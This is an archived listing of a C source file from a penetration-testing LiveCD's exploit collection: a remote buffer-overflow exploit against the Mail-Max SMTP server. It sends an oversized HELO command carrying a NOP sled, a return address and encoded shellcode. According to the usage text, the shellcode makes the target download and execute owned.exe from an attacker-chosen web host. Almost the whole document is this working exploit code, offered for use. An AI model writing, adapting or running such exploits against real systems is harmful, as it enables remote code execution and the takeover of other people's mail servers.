home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mailmax / mailmax-xpl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  185 lines

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <fcntl.h>
  4. #include <netdb.h>
  5. #include <netinet/in.h>
  6. #include <sys/socket.h>
  7. #include <arpa/inet.h>
  8.  
  9. /* Mail-Max Remote Exploit by _mcp_ <pw@nacs.net>
  10. This program must be run under x86 Linux
  11.  
  12. Greets go out to: Morpheus, Killspree, Coolg, Dregvant, Vio,
  13. Wrl, #finite, #win32asm and anyone I may have missed, you know
  14. who you are :).
  15.  
  16. You can reach me on efnet.
  17.  
  18. No greets go out to etl.
  19.  
  20. */
  21.  
  22. char code[] =
  23. "\xEB\x45\xEB\x20\x5B\xFC\x33\xC9\xB1\x82\x8B\xF3\x80\x2B\x1"
  24. "\x43\xE2\xFA\x8B\xFB\xE8\xE9\xFF\xFF\xFF\xE8\xE4\xFF\xFF\xFF"
  25. "\xEB\x29\x46\x58\xFF\xE0\xBB\x40\xA5\x1\x10\x56\xFF\x13\x8B"
  26. "\xE8\x46\x33\xC0\x3A\x6\x75\xF9\x46\x40\x3A\x6\x74\xE5\x56"
  27. "\x55\xBB\x54\xA5\x1\x10\xFF\x13\xAB\xEB\xE7\xEB\x4F\x33\xC9"
  28. "\x66\x49\xC1\xC1\x2\x51\x33\xC0\x51\x50\xFF\x57\xE8\x8B\xE8"
  29. "\x33\xC9\x51\x51\x51\x51\x57\xFF\x57\xF4\x33\xC9\x51\x51\x51"
  30. "\x51\x56\x50\xFF\x57\xF8\x59\x57\x51\x55\x50\xFF\x57\xFC\x83"
  31. "\xC6\x7\x33\xC9\x51\x56\xFF\x57\xDC\xFF\x37\x55\x50\x8B\xE8"
  32. "\xFF\x57\xE0\x55\xFF\x57\xE4\x33\xC9\x51\x56\xFF\x57\xEC\xFF"
  33. "\x57\xF0\xE8\x67\xFF\xFF\xFF\x4C\x46\x53\x4F\x46\x4D\x34\x33"
  34. "\x1\x60\x6D\x64\x73\x66\x62\x75\x1\x60\x6D\x78\x73\x6A\x75"
  35. "\x66\x1\x60\x6D\x64\x6D\x70\x74\x66\x1\x48\x6D\x70\x63\x62"
  36. "\x6D\x42\x6D\x6D\x70\x64\x1\x58\x6A\x6F\x46\x79\x66\x64\x1"
  37. "\x46\x79\x6A\x75\x51\x73\x70\x64\x66\x74\x74\x1\x2\x58\x4A"
  38. "\x4F\x4A\x4F\x46\x55\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50"
  39. "\x71\x66\x6F\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75\x50\x71"
  40. "\x66\x6F\x56\x73\x6D\x42\x1\x4A\x6F\x75\x66\x73\x6F\x66\x75"
  41. "\x53\x66\x62\x65\x47\x6A\x6D\x66\x1\x2\x69\x75\x75\x71\x3B"
  42. "\x30\x30\x00";
  43.  
  44.     /*This is the encrypted /~pw/owned.exe we paste at the end */
  45. char dir[] = "\x30\x7f\x71\x78\x30\x70\x78\x6f\x66\x65\x2F\x66\x79\x66\x1\x0";
  46.  
  47.  
  48. unsigned int getip(char *hostname)
  49.   {
  50.   struct hostent *hostinfo;
  51.   unsigned int binip;
  52.  
  53.   hostinfo = gethostbyname(hostname);
  54.  
  55.   if(!hostinfo)
  56.     {
  57.       printf("cant find: %s\n",hostname);
  58.       exit(0);
  59.     }
  60.   bcopy(hostinfo -> h_addr, (char  *)&binip, hostinfo -> h_length);
  61.   return(binip);
  62.   }
  63.  
  64.  
  65. int usages(char *fname)
  66. {                        
  67.       printf("Remote Mail-Max exploit v1.0 by _mcp_ <pw@nacs.net>.\n");
  68.       printf("Usages: \n");
  69.       printf("%s <target host> <http site> <offset> <return address>\n",
  70. fname);
  71.       printf("All known versions offset = 539, Return address = 79887315\n");
  72.       printf("Will make target download, save, and execute http://<http site>/~pw/owned.exe\n");
  73.  
  74. exit(0);
  75.  
  76. }
  77.  
  78.  
  79. main (int argc, char *argv[])
  80. {
  81.   int sock,filedesc,offset,targethost,sinlen,codelength;
  82.   struct sockaddr_in sin;
  83.   unsigned char buffer[8000];
  84.   char ipbuffer[16];
  85.   unsigned char *ptr,*ptr2;
  86.   unsigned long ret_addr;
  87.   int len,x = 1;
  88.   unsigned long address;
  89.  
  90.   if (argc < 5) usages(argv[0]);
  91.  
  92.   targethost = getip(argv[1]);
  93.  
  94.  
  95.    len = strlen(argv[2]);
  96.     if (len > 60)
  97.      {
  98.        printf("Bad http format!\n");
  99.        usages(argv[0]);
  100.      }
  101.  
  102.    ptr = argv[2];
  103.    while (x <= len)
  104.       {
  105.         x++;
  106.         (*ptr)++;           /*Encrypt the http ip for later parsing */
  107.         ptr++;
  108.       }
  109.  
  110.   offset = atoi(argv[3]);
  111.   ret_addr = atol(argv[4]);
  112.  
  113.   if (offset > 7000)
  114.      {
  115.  
  116.        printf("Offset too large.\n");
  117.        exit(0);
  118.      }
  119.  
  120.   sock = socket(AF_INET,SOCK_STREAM,0);
  121.  
  122.   sin.sin_family = AF_INET;
  123.   sin.sin_addr.s_addr = targethost;
  124.   sin.sin_port = htons(25);
  125.   sinlen = sizeof(sin);
  126.  
  127.  
  128.   printf("Starting to create the egg\n");
  129.   ptr = (char *)&buffer;
  130.   strcpy(ptr,"HELO ");
  131.   ptr+=5;
  132.  
  133.   memset((void *)ptr, 0x90, 7000);
  134.  
  135.   ptr+=offset;
  136.   memcpy ((void *) ptr,(void *)&ret_addr, 4);
  137.   ptr+=60;
  138.   memcpy((void *) ptr,(void *)&code,strlen(code));
  139.  
  140.  
  141.   (char *) ptr2 = strstr(ptr,"\xb1");
  142.   if (ptr2 == NULL)
  143.      {
  144.        printf("Bad shell code\n");
  145.        exit(0);
  146.      }
  147.   ptr2++;
  148.   (*ptr2)+= len + ( sizeof(dir) - 1 );
  149.  
  150.    (char *) ptr2 = strstr(ptr,"\x83\xc6");
  151.      if (ptr2 == NULL)
  152.       {
  153.         printf("Bad shell code\n");
  154.         exit(0);
  155.  
  156.       }
  157.  
  158.   ptr2+= 2;
  159.  
  160.   (*ptr2)+= len + 8;
  161.  
  162.   ptr+=strlen(code);
  163.   memcpy((void *) ptr, (void *) argv[2], len);   /*Parse in the http
  164.   site's info */
  165.   ptr+=len;
  166.   memcpy((void *) ptr,(void*) &dir, sizeof(dir) );
  167.   printf("Made the egg\n");
  168.  
  169.     if ( connect(sock, (struct sockaddr *)&sin, sinlen) == -1)
  170.      {
  171.        perror("error:");
  172.        exit(0);
  173.      }
  174.     printf("Connected.\n");
  175.  
  176.     write(sock, &buffer, strlen((char *)&buffer) );
  177.     write(sock,"\r\n",2);
  178.     sleep(1);
  179.     printf("Sent the egg\n");
  180.    close(sock);
  181.    exit(1);
  182. }
  183.  
  184.  
  185.